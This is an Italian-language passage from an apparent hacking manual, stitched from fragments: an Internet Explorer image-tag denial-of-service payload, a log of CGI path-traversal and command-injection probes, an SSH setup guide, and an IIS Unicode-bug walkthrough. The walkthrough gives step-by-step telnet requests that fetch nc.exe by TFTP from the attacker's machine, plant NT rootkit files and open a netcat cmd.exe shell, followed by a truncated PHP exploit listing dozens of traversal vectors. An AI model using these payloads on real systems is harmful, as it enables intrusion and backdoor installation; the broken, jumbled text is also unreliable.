attenzione che sde riportate il codice dentro ad una pagina WEB per dimostrazione sostituite
la I di IMG con qualche altra lettera per non fare in modo che chi legge la pagina venga
colpito dallattacco DOS):
<img
src==}o=}o
=}o=}o
=}o=}o
=}o=}o=}o
=}o=}o
=}o=}o
=}o=}o
=}o=}o=}
o=}o=}o
=}o=}o
=}o=}o
=}o=}o
=}o=}o=}o
=}o=}o
=}o=}o
=}o=}o
=}o=}o=}o
=}o=}o
=}o=}o
=}o=}o
=}o=}o=}o
=}o=}o
=}o=}o
=}o=}o
=}o=}o=}
o=}o=}o
=}o=}o
=}o=}o
=}o=}o
=}o=}o=}o
=}o=}o
=}o=}o
>
Un altro DOS attack quello che segue, sempre indirizzato ad Internet Explorer.
-t --> Test the vulnerability (Try known variants till find the good one)
-p --> Attack through proxy
69warp87.newtel.com - - [14/Aug/2001:12:56:16 -0400] "QUIT" 501 69warp87.newtel.com - - [14/Aug/2001:13:06:18 -0400] "QUIT" 401 69warp87.newtel.com - - [14/Aug/2001:13:07:35 -0400] "GET
/n0nexi5tent_fi1e.html HTTP/1.0" 401 468
69warp87.newtel.com - - [14/Aug/2001:13:07:35 -0400] "GET
/n0nexi5tent_fi1e.html HTTP/1.0" 401 468
69warp87.newtel.com - - [14/Aug/2001:13:07:36 -0400] "GET / HTTP/1.0" 401
468
69warp87.newtel.com - - [14/Aug/2001:13:07:36 -0400] "GET /%2E%2E/%2E%2E/%2E
%2E/%2E%2E/%2E%2E/etc/group
HTTP/1.0" 400 371
69warp87.newtel.com - - [14/Aug/2001:13:07:36 -0400] "GET /%2E%2E/%2E%2E/%2E
%2E/%2E%2E/%2E%2E/winnt/win.ini
HTTP/1.0" 400
375
69warp87.newtel.com - - [14/Aug/2001:13:07:37 -0400] "GET
/../../../../../etc/group HTTP/1.0" 400 351
69warp87.newtel.com - - [14/Aug/2001:13:07:37 -0400] "GET
/../../../../../winnt/win.ini HTTP/1.0" 400 355
69warp87.newtel.com - - [14/Aug/2001:13:07:37 -0400] "GET
/../../../../..winnt/win.ini HTTP/1.0" 400 354
69warp87.newtel.com - - [14/Aug/2001:13:07:37 -0400]
"GET /.../.../.../.../.../etc/group HTTP/1.0" 401 468
69warp87.newtel.com - - [14/Aug/2001:13:07:38 -0400]
"GET /.../.../.../.../.../winnt/win.ini HTTP/1.0" 401 468
69warp87.newtel.com - - [14/Aug/2001:13:07:38 -0400] "GET
/../../../../../etc/group HTTP/1.0" 400 351
69warp87.newtel.com - - [14/Aug/2001:13:07:38 -0400] "GET
/../../../../../winnt/win.ini HTTP/1.0" 400 355
69warp87.newtel.com - - [14/Aug/2001:13:07:38 -0400] "GET /cgibin/webdist.cgi?distloc=;/bin/cat%20/etc/group
HTTP/1.0" 40
4 284
69warp87.newtel.com - - [14/Aug/2001:13:07:39 -0400] "GET /cgi-bin/campas?
%0acat%0a/etc/group%0a HTTP/1.0" 404 279
69warp87.newtel.com - - [14/Aug/2001:13:07:39 -0400] "GET /cgibin/htmlscript?../../../../../../etc/group
HTTP/1.0" 404 28
3
69warp87.newtel.com - - [14/Aug/2001:13:07:39 -0400] "GET /cgibin/php.cgi?/etc/group HTTP/1.0" 404 280
69warp87.newtel.com - - [14/Aug/2001:13:07:39 -0400] "GET /cgibin/pfdispaly?../../../../../../etc/group
HTTP/1.0" 404 282
69warp87.newtel.com - - [14/Aug/2001:13:07:40 -0400] "GET /cgibin/pfdispaly.cgi?../../../../../../etc/group
HTTP/1.0" 404
286
69warp87.newtel.com - - [14/Aug/2001:13:07:40 -0400] "GET /cgi-bin/viewsource?../../../../../../etc/group
HTTP/1.0" 404 2
84
69warp87.newtel.com - - [14/Aug/2001:13:07:40 -0400] "GET /cgi-bin/htsearch?
exclude=%60/etc/group%60 HTTP/1.0" 404
281
69warp87.newtel.com - - [14/Aug/2001:13:07:41 -0400] "GET
/cgi-bin/infosrch.cgi?cmd=getdoc&db=man&fname=|/bin/cat%20/etc/g
roup HTTP/1.0" 404 285
69warp87.newtel.com - - [14/Aug/2001:13:07:41 -0400] "GET /cgibin/faxsurvey?/bin/cat%20/etc/group HTTP/1.0" 404 282
69warp87.newtel.com - - [14/Aug/2001:13:07:41 -0400] "GET /cgibin/counterfiglet/nc/f=;cat%20/etc/group
HTTP/1.0" 404 307
HTTP/1.0" 40
4 284
69warp87.newtel.com - - [14/Aug/2001:13:07:47 -0400] "GET
/cgi-bin/a1stats/a1disp3.cgi?../../../../../../../etc/group HTTP
/1.0" 404 292
69warp87.newtel.com - - [14/Aug/2001:13:07:48 -0400] "GET /cgi-bin/test-cgi
HTTP/1.0" 403 285
69warp87.newtel.com - - [14/Aug/2001:13:07:48 -0400] "GET /cgibin/dumpenv.pl HTTP/1.0" 404 283
69warp87.newtel.com - - [14/Aug/2001:13:07:48 -0400] "GET /cgi-bin/nph-testcgi HTTP/1.0" 404 285
69warp87.newtel.com - - [14/Aug/2001:13:07:49 -0400] "GET /cgibin/wwwboard.pl HTTP/1.0" 404 284
69warp87.newtel.com - - [14/Aug/2001:13:07:52 -0400] "GET /cgibin/wwwboard.cgi HTTP/1.0" 404 285
69warp87.newtel.com - - [14/Aug/2001:13:07:52 -0400] "GET /cgi-bin/wwwboard
HTTP/1.0" 404 281
69warp87.newtel.com - - [14/Aug/2001:13:07:53 -0400] "GET /cgi-bin/wrap
HTTP/1.0" 404 277
69warp87.newtel.com - - [14/Aug/2001:13:07:53 -0400] "GET /cgi-bin/wrap.pl
HTTP/1.0" 404 280
69warp87.newtel.com - - [14/Aug/2001:13:07:53 -0400] "GET /cgi-bin/wrap.cgi
HTTP/1.0" 404 281
69warp87.newtel.com - - [14/Aug/2001:13:07:53 -0400] "GET /cgi-bin/finger
HTTP/1.0" 404 279
69warp87.newtel.com - - [14/Aug/2001:13:07:54 -0400] "GET /cgi-bin/finger.pl
HTTP/1.0" 404 282
69warp87.newtel.com - - [14/Aug/2001:13:07:54 -0400] "GET /cgibin/finger.cgi HTTP/1.0" 404 283
69warp87.newtel.com - - [14/Aug/2001:13:07:54 -0400] "GET /cgi-bin/phf
HTTP/1.0" 302 290
69warp87.newtel.com - - [14/Aug/2001:13:07:55 -0400] "GET /cgi-bin/handler
HTTP/1.0" 404 280
69warp87.newtel.com - - [14/Aug/2001:13:07:55 -0400] "GET /cgi-bin/info2www
HTTP/1.0" 404 281
69warp87.newtel.com - - [14/Aug/2001:13:07:55 -0400] "GET /cgibin/textcounter.pl HTTP/1.0" 404 287
69warp87.newtel.com - - [14/Aug/2001:13:07:55 -0400] "GET /cgi-bin/glimpse
HTTP/1.0" 404 280
69warp87.newtel.com - - [14/Aug/2001:13:07:56 -0400] "GET /cgi-bin/aglimpse
HTTP/1.0" 404 281
69warp87.newtel.com - - [14/Aug/2001:13:07:56 -0400] "GET /cgi-bin/webgais
HTTP/1.0" 404 280
69warp87.newtel.com - - [14/Aug/2001:13:07:56 -0400] "GET /cgi-bin/www-sql
HTTP/1.0" 404 280
69warp87.newtel.com - - [14/Aug/2001:13:07:56 -0400] "GET /cgibin/websendmail HTTP/1.0" 404 284
69warp87.newtel.com - - [14/Aug/2001:13:07:57 -0400] "GET /cgi-bin/jj
HTTP/1.0" 404 275
69warp87.newtel.com - - [14/Aug/2001:13:07:57 -0400] "GET /cgi-bin/count.cgi
HTTP/1.0" 404 282
69warp87.newtel.com - - [14/Aug/2001:13:07:57 -0400] "GET /cgibin/imagemap.exe HTTP/1.0" 404 285
69warp87.newtel.com - - [14/Aug/2001:13:07:58 -0400] "GET /catinfo HTTP/1.0"
401 468
69warp87.newtel.com - - [14/Aug/2001:13:07:58 -0400] "/cgibin/saint_test_cgi HTTP/1.0" 400 69warp87.newtel.com - - [14/Aug/2001:13:07:58 -0400] "GET /cgi-bin/csh
HTTP/1.0" 404 276
69warp87.newtel.com - - [14/Aug/2001:13:07:58 -0400] "GET /cgi-bin/bash
HTTP/1.0" 404 277
69warp87.newtel.com - - [14/Aug/2001:13:07:59 -0400] "GET /cgi-bin/zsh
HTTP/1.0" 404 276
69warp87.newtel.com - - [14/Aug/2001:13:07:59 -0400] "GET /cgi-bin/ash
HTTP/1.0" 404 276
69warp87.newtel.com - - [14/Aug/2001:13:07:59 -0400] "GET /cgi-bin/ksh
HTTP/1.0" 404 276
/cgi-bin/sh
/cgi-bin/perl
/cgi-bin/perl.exe
/cgi-bin/tcsh
/cgi/cgi-dos/args.bat
/cgi-dos/args.cmd
/cgi-shl/win-c/shop/product.asp
/shop/product.ast
/cgi/cgi/cgi-bin/excite
/cgi-bin/w3/cgi-bin/wais.pl
/cgi-
/cgi-bin/db2www
/cgi-
/cgi-bin/webplus
/cgi/cgi/dsgw/bin/search
/cgi-
287
69warp87.newtel.com - - [14/Aug/2001:13:09:43 -0400] "GET /cgi-bin/viewsource?../../../../../../etc/group
HTTP/1.0" 404 2
85
69warp87.newtel.com - - [14/Aug/2001:13:09:43 -0400] "GET /cgi-bin/htsearch?
exclude=%60/etc/group%60 HTTP/1.0" 404
282
69warp87.newtel.com - - [14/Aug/2001:13:09:43 -0400] "GET
/cgi-bin/infosrch.cgi?cmd=getdoc&db=man&fname=|/bin/cat%20/etc/g
roup HTTP/1.0" 404 286
69warp87.newtel.com - - [14/Aug/2001:13:09:44 -0400] "GET /cgibin/faxsurvey?/bin/cat%20/etc/group HTTP/1.0" 404 283
69warp87.newtel.com - - [14/Aug/2001:13:09:44 -0400] "GET /cgibin/counterfiglet/nc/f=;cat%20/etc/group
HTTP/1.0" 404 308
69warp87.newtel.com - - [14/Aug/2001:13:09:44 -0400] "GET /cgibin/calendar_admin.pl?config=|cat%20/etc/group|
HTTP/1.0" 4
04 291
69warp87.newtel.com - - [14/Aug/2001:13:09:44 -0400] "GET
/cgi-bin/calendar/calendar_admin.pl?config=|cat%20/etc/group| HT
TP/1.0" 404 300
69warp87.newtel.com - - [14/Aug/2001:13:09:45 -0400] "GET
/cgi-bin/pollit/Poll_It_SSI_v2.0.cgi?data_dir=/etc/group%00 HTTP
/1.0" 404 301
69warp87.newtel.com - - [14/Aug/2001:13:09:45 -0400] "GET
/cgi-bin/bb-hostsvc.sh?HOSTSVC=/../../../../../../../../etc/grou
p HTTP/1.0" 404 287
69warp87.newtel.com - - [14/Aug/2001:13:09:45 -0400] "GET
/cgi-bin/netauth.cgi?cmd=show&page=../../../../../../../../../et
c/group HTTP/1.0" 404 285
69warp87.newtel.com - - [14/Aug/2001:13:09:46 -0400] "GET /cgi-bin/htgrep?
file=index.html&hdr=/etc/group
HTTP/1.0" 404 280
69warp87.newtel.com - - [14/Aug/2001:13:09:46 -0400] "GET
/cgi-bin/YaBB.pl?board=news&action=display&num=../../../../../..
/../../etc/group%00 HTTP/1.0" 404 281
69warp87.newtel.com - - [14/Aug/2001:13:09:46 -0400] "GET
/search97cgi/vtopic?action=view&ViewTemplate=../../../../../etc/
group HTTP/1.0" 404 284
69warp87.newtel.com - - [14/Aug/2001:13:09:46 -0400] "GET /cgibin/multihtml.pl?multi=/etc/group%00html
HTTP/1.0" 404 286
69warp87.newtel.com - - [14/Aug/2001:13:09:47 -0400] "GET /cgi-bin/query?
mss=../config HTTP/1.0" 404 279
69warp87.newtel.com - - [14/Aug/2001:13:09:47 -0400] "GET /cgi-bin/ssi//%2e
%2e/%2e%2e/%2e%2e/%2e%2e/etc/group
HTTP/1.0" 40
0 378
69warp87.newtel.com - - [14/Aug/2001:13:09:47 -0400] "GET /cgi-bin/webplus?
script=/../../../../etc/group
HTTP/1.0" 404 281
69warp87.newtel.com - - [14/Aug/2001:13:09:47 -0400] "GET /cgibin/webplus.exe?script=/../../../../etc/group
HTTP/1.0" 404
285
69warp87.newtel.com - - [14/Aug/2001:13:09:48 -0400] "GET /cgibin/webplus.cgi?script=/../../../../etc/group
HTTP/1.0" 404
285
69warp87.newtel.com - - [14/Aug/2001:13:09:48 -0400] "GET
/cgi-bin/mmstdod.cgi?ALTERNATE_TEMPLATES=|%20echo%20Content-Type
:%20text%2Fhtml%3Becho%20%20%3B%20cat%20%2Fetc%2Fgroup%00 HTTP/1.0" 404 285
69warp87.newtel.com - - [14/Aug/2001:13:09:48 -0400] "GET /cgibin/bbs_forum.cgi?read=../../../../etc/group
HTTP/1.0" 404
287
SSH
Secure Shell (SSH) in pratica un sostituto sicuro di telnet, login o rsh in ambiente Unix.
Una compressione dei dati viene fornita come opzione pu essere utilizzata insieme a molti
schemi di autenticazione come SecurID, Kerberos e S/KEY per fornire un accesso remoto
altamente sicuro a server UNIX.
I comandi Telnet, rlogin, rcp, rsh hanno parecchi punti deboli quanto a sicurezza: tutte le
comunicazioni sono in chiaro e nessuna autenticazione viene svolta dalla macchina.
Questi comandi sono suscettibili di intercettazione e allo spoofing dell'indirizzo IP.
SSH protegge da:
SSH pu essere usata per loggarsi in modo sicuro su un altro computer in una rete, eseguire
comandi sul sistema remoto, e copiare file da una macchina all'altra.
SSH fornisce comunicazioni e autenticazioni sicure su canali che non lo sono.
Dovrebbe essere usata come rimpiazzo per rlogin, rsh, and rcp. In aggiunta a ci, SSH
fornisce connessioni protezione per le connessioni X11 e per l'inoltro dei pacchetti di quelle
TCP.
Supporta sistemi di autenticazione fortemente protetti come RSA, SecurID, S/Key,
Kerberos e TIS (cos come la consueta procedura UNIX di username/password).
Esistono tre sistemi di sicurezza: shosts, rhosts compatibile e RSA. RSA la pi
sicura (usa un sistema a chiave pubblica/privata per identificare le connessioni), ma
scavalca l'autenticazione username/password di UNIX.
Il server SSH gira su UNIX, Linux e VAX.
I Client girano su questi, e anche su Windows e molte altre piattaforme.
La compressione dei dati pu essere attivata per migliorare le prestazioni su reti
lente.
Proxy Internet SSH:
o Non conosco di nessun proxy SSH funzionante: Magosanyi Arpad ha iniziato
a lavorare su uno basato su OpenSSH (se ne parla sulla lista degli
sviluppatori di OpenSSH, il messaggio datato 13 gennaio 2000 17:10:05),
ma non l'ha ancora terminato.
o SSH pu essere compilato in modo che possa attraversare i proxy SOCKS.
SOCKS un protocollo generale per i proxy, inizialmente sostenuto da NEC,
ma disponibile ora presso molti altri fornitori.
SSH1 per UNIX disponibile come prodotto gratuito o commerciale (di DataFellows).
Epossibile scaricare una versione dimostrativa per scopi educativi da :
http://www.ssh.org/download.html
Il sito della DataFollows invece a :
http://wwwdatafellows.com
Il server ha un file di configurazione file /etc/sshd_config, il client legge la configurazione da
/etc/ssh_config, che contiene settaggi di default a livello di sistema.
La configurazione di questo file pu essere scavalcata da file di configurazione specifici di
ogni utente (nella directory ~user/.ssh).
Server: configurate il demone ssh in modo che l'accesso sia limitato agli host specificati per
nome e con chiavi pubbliche note (/etc/ssh_known_hosts) e l'autenticazione rhosts sia
disabilitata.
Installiamo OpenSSH in /usr/{bin,sbin,man}, con i file di configurazione in /etc/ssh, che sono
le directory usate dall'installazione binaria RPM di RH6.1.
Suse Linux 6.3:
Notate che la Suse 6.3 ha SSH1 gi installata in /usr e ci crea conflitti con
l'installazione di OpenSSH. Quindi rimuovete il pacchetto (assicuratevi si essere
connessi su una linea seriale in quanto tutte le connessione SSH potrebbero
interrompersi):
rpm -erase ssh-1.2.27-41
Non ci sono RPM binari, e i source RPM non funzionano facilmente, per cui
compilate e installate direttamente dai sorgenti:
zcat openssl-0.9.3.tar.gz | tar xf -; cd openssl-0.9.3;
./config;
make && make install;
zcat openssh-1_2_2_tar.gz |tar xf -; cd openssh-1.2.2;
./configure --prefix=/usr --sysconfdir=/etc/ssh -without-pam --with-tcp-wrappers
make && make install;
Generate una chiave per l'host: ssh-keygen -b 1024 -f /etc/ssh/ssh_host_key -N ''
Lanciate il demone:
/usr/sbin/sshd
Non ci sono RPM binari disponibili per SPARC, quindi costruiteli dai sorgenti. Il
sistema su cui ho testato la compilazione una RH 6.1 "installazione server" vergine
su SPARC4.
Pi semplicemente, scaricate i sorgenti SSL [0] e lasciate perdere gli RPM (che
richiedono un po' di smanettamento per funzionare su SPARC):
zcat openssl-0.9.3.tar.gz | tar xf - ; cd openssl-0.9.3;
./config;
make && make install;
Allo stesso modo compilate ssh dai sorgenti:
zcat openssh-1_2_2_tar.gz |tar xf -; cd openssh-1.2.2;
./configure --prefix=/usr --sysconfdir=/etc/ssh -without-pam --with-tcp-wrappers
make && make install
Generate una chiave per l'host: ssh-keygen -b 1024 -f /etc/ssh/ssh_host_key -N ''
Lanciate il demone:
/usr/sbin/sshd
Qui la cosa abbastanza semplice perch esistono gli RPM binari. Sia SSH Server
che gli RPM dei client sono dosponibili nei mirror di OpenSSH, che viene installato
in /usr/{bin,sbin,man}, con i file di configurazione in /etc/ssh/. Questi RPM sono
progettati per la 6.1 con aggiunti solo gli aggiornamenti di sicurezza. Scaricate e
installate i pacchetti:
rpm -i openssl-0_9_4-3_i386.rpm
rpm -i openssh-1.2.2-1.i386.rpm
rpm -i openssh-server-1.2.2-1.i386.rpm
rpm -i openssh-clients-1.2.2-1.i386.rpm
Lanciate il demone:
/usr/sbin/sshd
Problemi:
Problemi: contrariamente alle altre varianti per Linux testate qui, quella per SPARC
non funziona bene.: checksum non corretti vengono riportati sia per il client SSH1
che per MindtermSSH.
I test sono stati positivi tra SSH1, OpenSSH e Mindterm SSH su tutti i sistemi tranne
RH SPARC, con l'eccezione di "scp" con MindtermSSH. scp di altri client come SSH1
funziona invece correttamente.
Unicode Bug
Tra i vari metodi per riuscire ad accedere ai servers che utilizzano IIS c quello definito con il
termine di UNICODE BUG.
Esiste una associazione definita Rain Forest Puppy (RFP) il cui scopo quello di esporre
tutte le vulnerabilit dei computer.
Lunicode bug stato testato e descritto da questa associazione la quale ha condotto una
serie di test utilizzando diversi metodi.
Quello che scaturito che la rappresentazione lunga dei caratteri / e \ usati normalmente
nella definizione dei percorsi dei sistemi e precisamente %c0%af e %c1%9c creano in alcuni
casi dei problemi quando software come IIS cercano di decodificarli.
110xx100 10001111
11000100 10001111
C4 8F
Hexadecimal value
bits
bits
bits
bits
0xxxxxxx
110xxxxx 10xxxxxx
1110xxxx 10xxxxxx 10xxxxxx
11110xxx 10xxxxxx 10xxxxxx 10xxxxxx
"%47%45%54
Quando viene installato INTERNET INFORMATION SERVER atto a gestire I WEB servers in
Windows il sistema crea un certo numero di directory di default come ad esempio :
"C:\inetpub"
e
"C:\inetpub\wwwroot"
Generalmente quando su una linea di comando passata a IIS viene specificato un percorso
viene controllato che questo non corrisponda a una di queste directory di sistema.
Il problema di IIS usando lUNICODE dovuto al fatto che questo decodifica %C1%81 come
lettera A eseguendo la decodifica solo dopo che stato controllato il percorso.
In una linea di comando come quella che segue i significati sono quelli a seguito.
"http://www.vulnerable.com/msadc/..%c0%af../..%c0%af../..
%c0%af../winnt/system32/cmd.exe?/c+dir+..\..\..\..\"
"/msadc/"
Representa il punto di partenza per la navigazione. Molte delle installazioni IIS sono
configurate per puntare a questa directory loa quale localizzata in "C:\Program
Files\Common files\msadc."
"..%c0%af/"
Representa il primo path relativo a "C:\Program Files\Common Files\msadc"; questo path
"C:\Program Files\Common Files.
"..%c0%af/"
Representa il secondo path relativo da "C:\Program Files\Common Files\msdac"; il path
"C:\Program Files"
"/winnt/system32/cmd.exe?"
Representa il comando che si intende eseguire
"c+dir+..\..\..\"
Rappresenta il parametro che deve essere eseguito.
Prima di vedere un programma intero atto a utilizzare questo bug vediamo come potremmo
provare a mano di inserire dentro ad un server una BACKDOOR.
Per prima cosa andate al capitolo dove viene descritto NETCAT e compilatelo.
Con COPERNIC cercate sulla rete NT ROOTKIT il quale contiene i seguenti file mostrati
nellimmagine.
Rootkit stato anche lui visto precedentemente in ogni caso solo al fine di rinfrescarsi la
memoria voglio ricordare che il programma installato sul sistema della vittima risponde su un
determinato IP.
I processi che iniziano con __ROOT__ vengono mantenuti nascosti come allo stesso modo le
directory e i files.
Anche le chiavi di registro che iniziano con i sei caratteri _root_ vengono mantenute
nascoste.
Per prima cosa proviamo a creare sul sistema remoto un file qualsiasi per vedere se questo
predisposto a questo tipo di attacco.
Lanciamo telnet agganciandolo alla porta HTT ovvero alla 80 con :
$ telnet 192.168.222.1 80
Trying 192.168.222.1
Connected to 192.168.222.1
Escare character is ^].
Ora digitiamo :
GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+echo+test+message+>test.msg
Ora per essere sicuri del successo di questo metodo possiamo allo stesso modo richiedere al
sistema remoto di eseguire un TYPE del file di testo creato.
$ telnet 192.168.222.1 80
Trying 192.168.222.1
Connected to 192.168.222.1
Escare character is ^].
GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+type+test.msg
HTTP/1.1 200 OK
Server: Microsoft-IIS/4.0
Date: Fri, 18 Jan 2002 19:00:30 GMT
Content-Length: 0
Content-Type: text/plain
Test message
Connection closed by foreign host.
Come potete vedere dalla penultima linea, se il metodo funziona vedremo il testo scritto
dentro al file di testo.
Se il tutto funzionato allora possiamo passare alla fase vera e propria ovvero quella in cui
mediante lesecuzione di un comando con CMD.EXE situato sul server remoto richiederemo
di aprire una connessione TFTP in modo tale da uplodare il sistema della backdoor.
Sempre allo stesso modo attiviamo con TELNET richiedendo la connessione ad un IP sulla
porta 80.
$ telnet 192.168.222.1 80
Trying 192.168.222.1
Connected to 192.168.222.1
Escare character is ^].
GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+tftp+I+xxx.xxx.xxx.xxx+GET+nc.exe
HTTP/1.1 200 OK
Server: Microsoft-IIS/4.0
Date: Fri, 18 Jan 2002 19:00:30 GMT
Content-Length: 0
Content-Type: text/plain
Connection closed by foreign host.
Chiaramente xxx.xxx.xxx.xxx lIP del nostro sistema su cui abbiano NC.EXE creato da
sorgenti presenti su questo volume.
Ora ripetiamo la stessa procedura due volte per trasferire DEPLOY.EXE e _ROOT_.SYS
Dopo aver inserito i programmi sul sistema remoto a questo punto eseguiamoli aprendo un
shell su questo.
A questo punto la connessione con TELNET avviene sulla porta 100.
La stringa GET ora :
GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+nc.exe+-l+-p+100+-t+-e+cmd.exe
Ora il sistema remoto attende solo che noi apriamo una connessione sulla porta 100.
$ telnet 192.168.222.1 100
Trying 192.168.222.1
Connected to 192.168.222.1
Escare character is ^].
Ed ecco il risultato :
c:\winnt\system32\>
Il seguente sorgente scritto in PHP costituisce lexploit per i sistemi che sono sensibili a
questo problema.
Luso di un sorgente in PHP pu risultare utile nel qual caso non si disponga della possibilit
di compilare uno degli exploits scritti in linguaggio C.
Le stringhe che vedete nella testata definite dentro ad un array sono di fatto quelle che
vengono usate sul sistema WEB.
#!php -q
<?
$vector_ataque[0]="/msadc/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+";
$vector_ataque[1]="/msadc/..
%25%35%63../..%25%35%63../..%25%35%63../winnt/system32/cmd.exe?/c+";
$vector_ataque[2]="/msadc/..%255c..%255c..%255c..%255cwinnt/system32/cmd.exe?/c+";
$vector_ataque[3]="/msadc/..
%25%35%63..%25%35%63..%25%35%63..%25%35%63winnt/system32/cmd.exe?/c+";
$vector_ataque[4]="/scripts/..%255c..%255cwinnt/system32/cmd.exe?/c+";
$vector_ataque[5]="/scripts/..%252f..%252f..%252f..%252fwinnt/system32/cmd.exe?/c+";
$vector_ataque[6]="/scripts/..%255c..%255cwinnt/system32/cmd.exe?/c+";
$vector_ataque[7]="/msadc/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+";
$vector_ataque[8]="/msadc/..%%35c../..%%35c../..%%35c../winnt/system32/cmd.exe?/c+";
$vector_ataque[9]="/msadc/..%%35%63../..%%35%63../..%
%35%63../winnt/system32/cmd.exe?/c+";
$vector_ataque[10]="/msadc/..
%25%35%63../..%25%35%63../..%25%35%63../winnt/system32/cmd.exe?/c+";
$vector_ataque[11]="/MSADC/..%255c..%255c..%255c..%255cwinnt/system32/cmd.exe?/c+";
$vector_ataque[12]="/MSADC/..%%35c..%%35c..%%35c..%%35cwinnt/system32/cmd.exe?/c+";
$vector_ataque[13]="/MSADC/..%%35%63..%%35%63..%%35%63..%
%35%63winnt/system32/cmd.exe?/c+";
$vector_ataque[14]="/MSADC/..
%25%35%63..%25%35%63..%25%35%63..%25%35%63winnt/system32/cmd.exe?/c+";
$vector_ataque[15]="/_vti_bin/..%255c..%255c..%255c..%255c..
%255c../winnt/system32/cmd.exe?/c+";
$vector_ataque[16]="/_vti_bin/..%%35c..%%35c..%%35c..%%35c..%
%35c../winnt/system32/cmd.exe?/c+";
$vector_ataque[17]="/_vti_bin/..%%35%63..%%35%63..%%35%63..%%35%63..%
%35%63../winnt/system32/cmd.exe?/c+";
$vector_ataque[18]="/_vti_bin/..
%25%35%63..%25%35%63..%25%35%63..%25%35%63..%25%35%63../winnt/system32/cmd.exe?/c+";
$vector_ataque[19]="/PBServer/..%255c..%255c..%255cwinnt/system32/cmd.exe?/c+";
$vector_ataque[20]="/PBServer/..%%35c..%%35c..%%35cwinnt/system32/cmd.exe?/c+";
$vector_ataque[21]="/PBServer/..%%35%63..%%35%63..%%35%63winnt/system32/cmd.exe?/c+";
$vector_ataque[22]="/PBServer/..
%25%35%63..%25%35%63..%25%35%63winnt/system32/cmd.exe?/c+";
$vector_ataque[23]="/Rpc/..%255c..%255c..%255cwinnt/system32/cmd.exe?/c+";
$vector_ataque[24]="/Rpc/..%%35c..%%35c..%%35cwinnt/system32/cmd.exe?/c+";
$vector_ataque[25]="/Rpc/..%%35%63..%%35%63..%%35%63winnt/system32/cmd.exe?/c+";
$vector_ataque[26]="/Rpc/..%25%35%63..%25%35%63..%25%35%63winnt/system32/cmd.exe?/c+";
$vector_ataque[27]="/_vti_bin/..%255c..%255c..%255c..%255c..
%255c../winnt/system32/cmd.exe?/c+";
$vector_ataque[28]="/_vti_bin/..%%35c..%%35c..%%35c..%%35c..%
%35c../winnt/system32/cmd.exe?/c+";
$vector_ataque[29]="/_vti_bin/..%%35%63..%%35%63..%%35%63..%%35%63..%
%35%63../winnt/system32/cmd.exe?/c+";
$vector_ataque[30]="/_vti_bin/..
%25%35%63..%25%35%63..%25%35%63..%25%35%63..%25%35%63../winnt/system32/cmd.exe?/c+";
$vector_ataque[31]="/samples/..%255c..%255c..%255c..%255c..%255c..
%255cwinnt/system32/cmd.exe?/c+";
$vector_ataque[32]="/cgi-bin/..%255c..%255c..%255c..%255c..%255c..
%255cwinnt/system32/cmd.exe?/c+";
$vector_ataque[33]="/iisadmpwd/..%252f..%252f..%252f..%252f..%252f..
%252fwinnt/system32/cmd.exe?/c+";
$vector_ataque[34]="/_vti_cnf/..%255c..%255c..%255c..%255c..%255c..
%255cwinnt/system32/cmd.exe?/c+";
$vector_ataque[35]="/adsamples/..%255c..%255c..%255c..%255c..%255c..
%255cwinnt/system32/cmd.exe?/c+";
$vector_ataque[36]="/scripts/..%C1%1C..%C1%1C..%C1%1C..
%C1%1Cwinnt/system32/cmd.exe?/c+";
$vector_ataque[37]="/scripts/..%C1%9C..%C1%9C..%C1%9C..
%C1%9Cwinnt/system32/cmd.exe?/c+";
$vector_ataque[38]="/scripts/..%C0%AF..%C0%AF..%C0%AF..
%C0%AFwinnt/system32/cmd.exe?/c+";
$vector_ataque[39]="/scripts/..%252f..%252f..%252f..%252fwinnt/system32/cmd.exe?/c+";
$vector_ataque[40]="/scripts/..%255c..%255cwinnt/system32/cmd.exe?/c+";
$vector_ataque[41]="/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+";
$vector_ataque[42]="/scripts/..%c0%9v../winnt/system32/cmd.exe?/c+";
$vector_ataque[43]="/scripts/..%c0%af../winnt/system32/cmd.exe?/c+";
$vector_ataque[44]="/scripts/..%c0%qf../winnt/system32/cmd.exe?/c+";
$vector_ataque[45]="/scripts/..%c1%8s../winnt/system32/cmd.exe?/c+";
$vector_ataque[46]="/scripts/..%c1%9c../winnt/system32/cmd.exe?/c+";
$vector_ataque[47]="/scripts/..%c1%pc../winnt/system32/cmd.exe?/c+";
$vector_ataque[48]="/msadc/..%c0%af../..%c0%af../..
%c0%af../winnt/system32/cmd.exe?/c+";
$vector_ataque[49]="/_vti_bin/..%c0%af../..%c0%af../..
%c0%af../winnt/system32/cmd.exe?/c+";
$vector_ataque[50]="/scripts/..%c0%af../winnt/system32/cmd.exe?/c+";
$vector_ataque[51]="/scripts..%c1%9c../winnt/system32/cmd.exe?/c+";
$vector_ataque[52]="/scripts/..%c1%pc../winnt/system32/cmd.exe?/c+";
$vector_ataque[53]="/scripts/..%c0%9v../winnt/system32/cmd.exe?/c+";
$vector_ataque[54]="/scripts/..%c0%qf../winnt/system32/cmd.exe?/c+";
$vector_ataque[55]="/scripts/..%c1%8s../winnt/system32/cmd.exe?/c+";
$vector_ataque[56]="/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+";
$vector_ataque[57]="/scripts/..%c1%9c../winnt/system32/cmd.exe?/c+";
$vector_ataque[58]="/scripts/..%c1%af../winnt/system32/cmd.exe?/c+";
$vector_ataque[59]="/scripts/..%e0%80%af../winnt/system32/cmd.exe?/c+";
$vector_ataque[60]="/scripts/..%f0%80%80%af../winnt/system32/cmd.exe?/c+";
$vector_ataque[61]="/scripts/..%f8%80%80%80%af../winnt/system32/cmd.exe?/c+";
$vector_ataque[62]="/scripts/..%fc%80%80%80%80%af../winnt/system32/cmd.exe?/c+";
$vector_ataque[63]="/msadc/..\%e0\%80\%af../..\%e0\%80\%af../..\
%e0\%80\%af../winnt/system32/cmd.exe\?/c+";
$vector_ataque[64]="/cgi-bin/..%c0%af..%c0%af..%c0%af..%c0%af..
%c0%af../winnt/system32/cmd.exe?/c+";
$vector_ataque[65]="/samples/..%c0%af..%c0%af..%c0%af..%c0%af..
%c0%af../winnt/system32/cmd.exe?/c+";
